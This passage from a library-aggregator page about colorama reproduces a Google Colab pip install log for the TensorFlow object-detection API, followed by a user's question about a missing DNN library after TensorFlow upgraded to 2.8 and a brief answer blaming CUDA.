Requirement already satisfied: astunparse>=1.6.0 in /usr/local/lib/python3.7/dist-packages (from tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (1.6.3)
Requirement already satisfied: gast>=0.2.1 in /usr/local/lib/python3.7/dist-packages (from tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (0.4.0)
Requirement already satisfied: google-pasta>=0.1.1 in /usr/local/lib/python3.7/dist-packages (from tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (0.2.0)
Requirement already satisfied: typing-extensions>=3.6.6 in /usr/local/lib/python3.7/dist-packages (from tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (3.10.0.2)
Requirement already satisfied: wrapt>=1.11.0 in /usr/local/lib/python3.7/dist-packages (from tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (1.13.3)
Requirement already satisfied: tensorflow-io-gcs-filesystem>=0.23.1 in /usr/local/lib/python3.7/dist-packages (from tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (0.23.1)
Collecting tf-estimator-nightly==2.8.0.dev2021122109
Downloading tf_estimator_nightly-2.8.0.dev2021122109-py2.py3-none-any.whl (462 kB)
|████████████████████████████████| 462 kB 49.5 MB/s
Requirement already satisfied: keras-preprocessing>=1.1.1 in /usr/local/lib/python3.7/dist-packages (from tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (1.1.2)
Collecting tensorboard<2.9,>=2.8
Downloading tensorboard-2.8.0-py3-none-any.whl (5.8 MB)
|████████████████████████████████| 5.8 MB 41.2 MB/s
Requirement already satisfied: flatbuffers>=1.12 in /usr/local/lib/python3.7/dist-packages (from tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (2.0)
Collecting keras
Downloading keras-2.8.0-py2.py3-none-any.whl (1.4 MB)
|████████████████████████████████| 1.4 MB 41.2 MB/s
Requirement already satisfied: opt-einsum>=2.3.2 in /usr/local/lib/python3.7/dist-packages (from tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (3.3.0)
Collecting numpy>=1.15.4
Downloading numpy-1.21.5-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl (15.7 MB)
|████████████████████████████████| 15.7 MB 41.4 MB/s
Requirement already satisfied: absl-py>=0.4.0 in /usr/local/lib/python3.7/dist-packages (from tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (1.0.0)
Requirement already satisfied: grpcio<2.0,>=1.24.3 in /usr/local/lib/python3.7/dist-packages (from tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (1.43.0)
Requirement already satisfied: wheel<1.0,>=0.23.0 in /usr/local/lib/python3.7/dist-packages (from astunparse>=1.6.0->tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (0.37.1)
Requirement already satisfied: cached-property in /usr/local/lib/python3.7/dist-packages (from h5py>=2.9.0->tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (1.5.2)
Requirement already satisfied: tensorboard-data-server<0.7.0,>=0.6.0 in /usr/local/lib/python3.7/dist-packages (from tensorboard<2.9,>=2.8->tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (0.6.1)
Requirement already satisfied: werkzeug>=0.11.15 in /usr/local/lib/python3.7/dist-packages (from tensorboard<2.9,>=2.8->tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (1.0.1)
Requirement already satisfied: google-auth-oauthlib<0.5,>=0.4.1 in /usr/local/lib/python3.7/dist-packages (from tensorboard<2.9,>=2.8->tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (0.4.6)
Requirement already satisfied: tensorboard-plugin-wit>=1.6.0 in /usr/local/lib/python3.7/dist-packages (from tensorboard<2.9,>=2.8->tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (1.8.1)
Requirement already satisfied: markdown>=2.6.8 in /usr/local/lib/python3.7/dist-packages (from tensorboard<2.9,>=2.8->tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (3.3.6)
Requirement already satisfied: requests-oauthlib>=0.7.0 in /usr/local/lib/python3.7/dist-packages (from google-auth-oauthlib<0.5,>=0.4.1->tensorboard<2.9,>=2.8->tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (1.3.1)
Requirement already satisfied: importlib-metadata>=4.4 in /usr/local/lib/python3.7/dist-packages (from markdown>=2.6.8->tensorboard<2.9,>=2.8->tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (4.10.1)
Requirement already satisfied: zipp>=0.5 in /usr/local/lib/python3.7/dist-packages (from importlib-metadata>=4.4->markdown>=2.6.8->tensorboard<2.9,>=2.8->tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (3.7.0)
Requirement already satisfied: oauthlib>=3.0.0 in /usr/local/lib/python3.7/dist-packages (from requests-oauthlib>=0.7.0->google-auth-oauthlib<0.5,>=0.4.1->tensorboard<2.9,>=2.8->tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (3.2.0)
Requirement already satisfied: dm-tree~=0.1.1 in /usr/local/lib/python3.7/dist-packages (from tensorflow-model-optimization>=0.4.1->tf-models-official>=2.5.1->object-detection==0.1) (0.1.6)
Requirement already satisfied: crcmod<2.0,>=1.7 in /usr/local/lib/python3.7/dist-packages (from apache-beam->object-detection==0.1) (1.7)
Collecting fastavro<2,>=0.21.4
Downloading fastavro-1.4.9-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (2.3 MB)
|████████████████████████████████| 2.3 MB 38.1 MB/s
Requirement already satisfied: pyarrow<7.0.0,>=0.15.1 in /usr/local/lib/python3.7/dist-packages (from apache-beam->object-detection==0.1) (6.0.1)
Requirement already satisfied: pydot<2,>=1.2.0 in /usr/local/lib/python3.7/dist-packages (from apache-beam->object-detection==0.1) (1.3.0)
Collecting proto-plus<2,>=1.7.1
Downloading proto_plus-1.19.9-py3-none-any.whl (45 kB)
|████████████████████████████████| 45 kB 3.2 MB/s
Collecting requests<3.0.0dev,>=2.18.0
Downloading requests-2.27.1-py2.py3-none-any.whl (63 kB)
|████████████████████████████████| 63 kB 1.8 MB/s
Collecting dill<0.3.2,>=0.3.1.1
Downloading dill-0.3.1.1.tar.gz (151 kB)
|████████████████████████████████| 151 kB 44.4 MB/s
Collecting numpy>=1.15.4
Downloading numpy-1.20.3-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl (15.3 MB)
|████████████████████████████████| 15.3 MB 21.1 MB/s
Collecting orjson<4.0
Downloading orjson-3.6.6-cp37-cp37m-manylinux_2_24_x86_64.whl (245 kB)
|████████████████████████████████| 245 kB 53.2 MB/s
Collecting hdfs<3.0.0,>=2.1.0
Downloading hdfs-2.6.0-py3-none-any.whl (33 kB)
Collecting pymongo<4.0.0,>=3.8.0
Downloading pymongo-3.12.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (508 kB)
|████████████████████████████████| 508 kB 44.3 MB/s
Requirement already satisfied: docopt in /usr/local/lib/python3.7/dist-packages (from hdfs<3.0.0,>=2.1.0->apache-beam->object-detection==0.1) (0.6.2)
Collecting protobuf>=3.12.0
Downloading protobuf-3.19.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.1 MB)
|████████████████████████████████| 1.1 MB 47.3 MB/s
Requirement already satisfied: charset-normalizer~=2.0.0 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0dev,>=2.18.0->google-api-core<3dev,>=1.21.0->google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (2.0.11)
Requirement already satisfied: opencv-python>=4.1.0.25 in /usr/local/lib/python3.7/dist-packages (from lvis->object-detection==0.1) (4.1.2.30)
Requirement already satisfied: cycler>=0.10.0 in /usr/local/lib/python3.7/dist-packages (from lvis->object-detection==0.1) (0.11.0)
Requirement already satisfied: kiwisolver>=1.1.0 in /usr/local/lib/python3.7/dist-packages (from lvis->object-detection==0.1) (1.3.2)
Requirement already satisfied: text-unidecode>=1.3 in /usr/local/lib/python3.7/dist-packages (from python-slugify->kaggle>=1.3.9->tf-models-official>=2.5.1->object-detection==0.1) (1.3)
Requirement already satisfied: regex in /usr/local/lib/python3.7/dist-packages (from sacrebleu->tf-models-official>=2.5.1->object-detection==0.1) (2019.12.20)
Requirement already satisfied: tabulate>=0.8.9 in /usr/local/lib/python3.7/dist-packages (from sacrebleu->tf-models-official>=2.5.1->object-detection==0.1) (0.8.9)
Collecting portalocker
Downloading portalocker-2.3.2-py2.py3-none-any.whl (15 kB)
Collecting colorama
Downloading colorama-0.4.4-py2.py3-none-any.whl (16 kB)
Requirement already satisfied: scikit-learn>=0.21.3 in /usr/local/lib/python3.7/dist-packages (from seqeval->tf-models-official>=2.5.1->object-detection==0.1) (1.0.2)
Requirement already satisfied: joblib>=0.11 in /usr/local/lib/python3.7/dist-packages (from scikit-learn>=0.21.3->seqeval->tf-models-official>=2.5.1->object-detection==0.1) (1.1.0)
Requirement already satisfied: threadpoolctl>=2.0.0 in /usr/local/lib/python3.7/dist-packages (from scikit-learn>=0.21.3->seqeval->tf-models-official>=2.5.1->object-detection==0.1) (3.1.0)
Requirement already satisfied: typeguard>=2.7 in /usr/local/lib/python3.7/dist-packages (from tensorflow-addons->tf-models-official>=2.5.1->object-detection==0.1) (2.7.1)
Requirement already satisfied: promise in /usr/local/lib/python3.7/dist-packages (from tensorflow-datasets->tf-models-official>=2.5.1->object-detection==0.1) (2.3)
Requirement already satisfied: future in /usr/local/lib/python3.7/dist-packages (from tensorflow-datasets->tf-models-official>=2.5.1->object-detection==0.1) (0.16.0)
Requirement already satisfied: attrs>=18.1.0 in /usr/local/lib/python3.7/dist-packages (from tensorflow-datasets->tf-models-official>=2.5.1->object-detection==0.1) (21.4.0)
Requirement already satisfied: importlib-resources in /usr/local/lib/python3.7/dist-packages (from tensorflow-datasets->tf-models-official>=2.5.1->object-detection==0.1) (5.4.0)
Requirement already satisfied: tensorflow-metadata in /usr/local/lib/python3.7/dist-packages (from tensorflow-datasets->tf-models-official>=2.5.1->object-detection==0.1) (1.6.0)
Collecting tensorflow-io-gcs-filesystem>=0.23.1
Downloading tensorflow_io_gcs_filesystem-0.24.0-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl (2.1 MB)
|████████████████████████████████| 2.1 MB 40.9 MB/s
Building wheels for collected packages: object-detection, py-cpuinfo, dill, avro-python3, seqeval
Building wheel for object-detection (setup.py) ... done
Created wheel for object-detection: filename=object_detection-0.1-py3-none-any.whl size=1686316 sha256=775b8c34c800b3b3139d1067abd686af9ce9158011fccfb5450ccfd9bf424a5a
Stored in directory: /tmp/pip-ephem-wheel-cache-rmw0fvil/wheels/d0/e3/e9/b9ffe85019ec441e90d8ff9eddee9950c4c23b7598204390b9
Building wheel for py-cpuinfo (setup.py) ... done
Created wheel for py-cpuinfo: filename=py_cpuinfo-8.0.0-py3-none-any.whl size=22257 sha256=ac956c4c039868fdba78645bea056754e667e8840bea783ad2ca75e4d3e682c6
Stored in directory: /root/.cache/pip/wheels/d2/f1/1f/041add21dc9c4220157f1bd2bd6afe1f1a49524c3396b94401
Building wheel for dill (setup.py) ... done
Created wheel for dill: filename=dill-0.3.1.1-py3-none-any.whl size=78544 sha256=d9c6cdfd69aea2b4d78e6afbbe2bc530394e4081eb186eb4f4cd02373ca739fd
Stored in directory: /root/.cache/pip/wheels/a4/61/fd/c57e374e580aa78a45ed78d5859b3a44436af17e22ca53284f
Building wheel for avro-python3 (setup.py) ... done
Created wheel for avro-python3: filename=avro_python3-1.10.2-py3-none-any.whl size=44010 sha256=4eca8b4f30e4850d5dabccee36c40c8dda8a6c7e7058cfb7f0258eea5ce7b2b3
Stored in directory: /root/.cache/pip/wheels/d6/e5/b1/6b151d9b535ee50aaa6ab27d145a0104b6df02e5636f0376da
Building wheel for seqeval (setup.py) ... done
Created wheel for seqeval: filename=seqeval-1.2.2-py3-none-any.whl size=16180 sha256=0ddfa46d0e36e9be346a90833ef11cc0d38cc7e744be34c5a0d321f997a30cba
Stored in directory: /root/.cache/pip/wheels/05/96/ee/7cac4e74f3b19e3158dce26a20a1c86b3533c43ec72a549fd7
Successfully built object-detection py-cpuinfo dill avro-python3 seqeval
Installing collected packages: requests, protobuf, numpy, tf-estimator-nightly, tensorflow-io-gcs-filesystem, tensorboard, keras, tensorflow, portalocker, dill, colorama, tf-slim, tensorflow-text, tensorflow-model-optimization, tensorflow-addons, seqeval, sentencepiece, sacrebleu, pyyaml, pymongo, py-cpuinfo, proto-plus, orjson, opencv-python-headless, hdfs, fastavro, tf-models-official, tensorflow-io, lvis, avro-python3, apache-beam, object-detection
Attempting uninstall: requests
Found existing installation: requests 2.23.0
Uninstalling requests-2.23.0:
Successfully uninstalled requests-2.23.0
Attempting uninstall: protobuf
Found existing installation: protobuf 3.17.3
Uninstalling protobuf-3.17.3:
Successfully uninstalled protobuf-3.17.3
Attempting uninstall: numpy
Found existing installation: numpy 1.19.5
Uninstalling numpy-1.19.5:
Successfully uninstalled numpy-1.19.5
Attempting uninstall: tensorflow-io-gcs-filesystem
Found existing installation: tensorflow-io-gcs-filesystem 0.23.1
Uninstalling tensorflow-io-gcs-filesystem-0.23.1:
Successfully uninstalled tensorflow-io-gcs-filesystem-0.23.1
Attempting uninstall: tensorboard
Found existing installation: tensorboard 2.7.0
Uninstalling tensorboard-2.7.0:
Successfully uninstalled tensorboard-2.7.0
Attempting uninstall: keras
Found existing installation: keras 2.7.0
Uninstalling keras-2.7.0:
Successfully uninstalled keras-2.7.0
Attempting uninstall: tensorflow
Found existing installation: tensorflow 2.7.0
Uninstalling tensorflow-2.7.0:
Successfully uninstalled tensorflow-2.7.0
Attempting uninstall: dill
Found existing installation: dill 0.3.4
Uninstalling dill-0.3.4:
Successfully uninstalled dill-0.3.4
Attempting uninstall: pyyaml
Found existing installation: PyYAML 3.13
Uninstalling PyYAML-3.13:
Successfully uninstalled PyYAML-3.13
Attempting uninstall: pymongo
Found existing installation: pymongo 4.0.1
Uninstalling pymongo-4.0.1:
Successfully uninstalled pymongo-4.0.1
ERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.
yellowbrick 1.3.post1 requires numpy<1.20,>=1.16.0, but you have numpy 1.20.3 which is incompatible.
multiprocess 0.70.12.2 requires dill>=0.3.4, but you have dill 0.3.1.1 which is incompatible.
google-colab 1.0.0 requires requests~=2.23.0, but you have requests 2.27.1 which is incompatible.
datascience 0.10.6 requires folium==0.2.1, but you have folium 0.8.3 which is incompatible.
albumentations 0.1.12 requires imgaug<0.2.7,>=0.2.5, but you have imgaug 0.2.9 which is incompatible.
Successfully installed apache-beam-2.35.0 avro-python3-1.10.2 colorama-0.4.4 dill-0.3.1.1 fastavro-1.4.9 hdfs-2.6.0 keras-2.8.0 lvis-0.5.3 numpy-1.20.3 object-detection-0.1 opencv-python-headless-4.5.5.62 orjson-3.6.6 portalocker-2.3.2 proto-plus-1.19.9 protobuf-3.19.4 py-cpuinfo-8.0.0 pymongo-3.12.3 pyyaml-5.4.1 requests-2.27.1 sacrebleu-2.0.0 sentencepiece-0.1.96 seqeval-1.2.2 tensorboard-2.8.0 tensorflow-2.8.0 tensorflow-addons-0.15.0 tensorflow-io-0.24.0 tensorflow-io-gcs-filesystem-0.24.0 tensorflow-model-optimization-0.7.0 tensorflow-text-2.8.1 tf-estimator-nightly-2.8.0.dev2021122109 tf-models-official-2.8.0 tf-slim-1.1.0
I am noticing that this command uninstalling tensorflow 2.7 and installing tensorflow 2.8. I am not sure it was happening before. Maybe it's the reason DNN library link is missing o something?
I can confirm these:
- Nothing was changed inside pretrained model or already installed model or object_detection source files I downloaded a year ago.
- I tried to run command !pip install dnn - not working
- I tried to restart runtime (without disconnecting) - not working
Somebody can help? Thanks.
ANSWER
Answered 2022-Feb-07 at 09:19It happened the same to me last friday. I think it has something to do with Cuda instalation in Google Colab but I don't know exactly the reason
Community Discussions, Code Snippets contain sources that include Stack Exchange Network
Vulnerabilities
No vulnerabilities reported
Install colorama
You can use colorama like any standard Python library. You will need to make sure that you have a development environment consisting of a Python distribution including header files, a compiler, pip, and git installed. Make sure that your pip, setuptools, and wheel are up to date. When using pip it is generally recommended to install packages in a virtual environment to avoid changes to the system.
Support
Find, review, and download reusable Libraries, Code Snippets, Cloud APIs from over 650 million Knowledge Items
Find more librariesExplore Kits - Develop, implement, customize Projects, Custom Functions and Applications with kandi kits
Save this library and start creating your kit
Share this Page